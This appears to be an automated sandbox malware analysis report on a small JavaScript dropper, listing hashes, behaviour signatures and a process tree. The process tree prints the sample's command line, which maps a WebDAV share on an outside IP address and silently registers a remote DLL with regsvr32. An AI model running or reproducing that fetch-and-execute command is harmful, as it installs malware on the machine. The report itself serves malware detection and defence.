Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/07/2024, 02:35

General

  • Target

    17938225211720024183.js

  • Size

    4KB

  • MD5

    3bc6a537a13b1de19ecbd8db643ab35a

  • SHA1

    bde96c94ef05bd8f41deed0ca013c45cbcc10e95

  • SHA256

    0e05892803e8bfdcccb1ff4ec4a16b0b300c0a395626be3bb2e20fee98731efa

  • SHA512

    5ec8e3adc49571b4b6787672df28ccb5f3634906184ad7497cea4fe68866b4fea677380d1ad6a596bff1f5248dd61c150c655ddaa86db7d1255e330113ce39da

  • SSDEEP

    96:a9xX/6nwEsrTO+yl4Z9kr5TSTVdN5Y3ATOTUAkTXX3ATOTUli1I:a9tSnc9QDpSN5Ym8UAkrm8UlT

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\17938225211720024183.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1388
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\29056523113545.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1528
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:1900

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads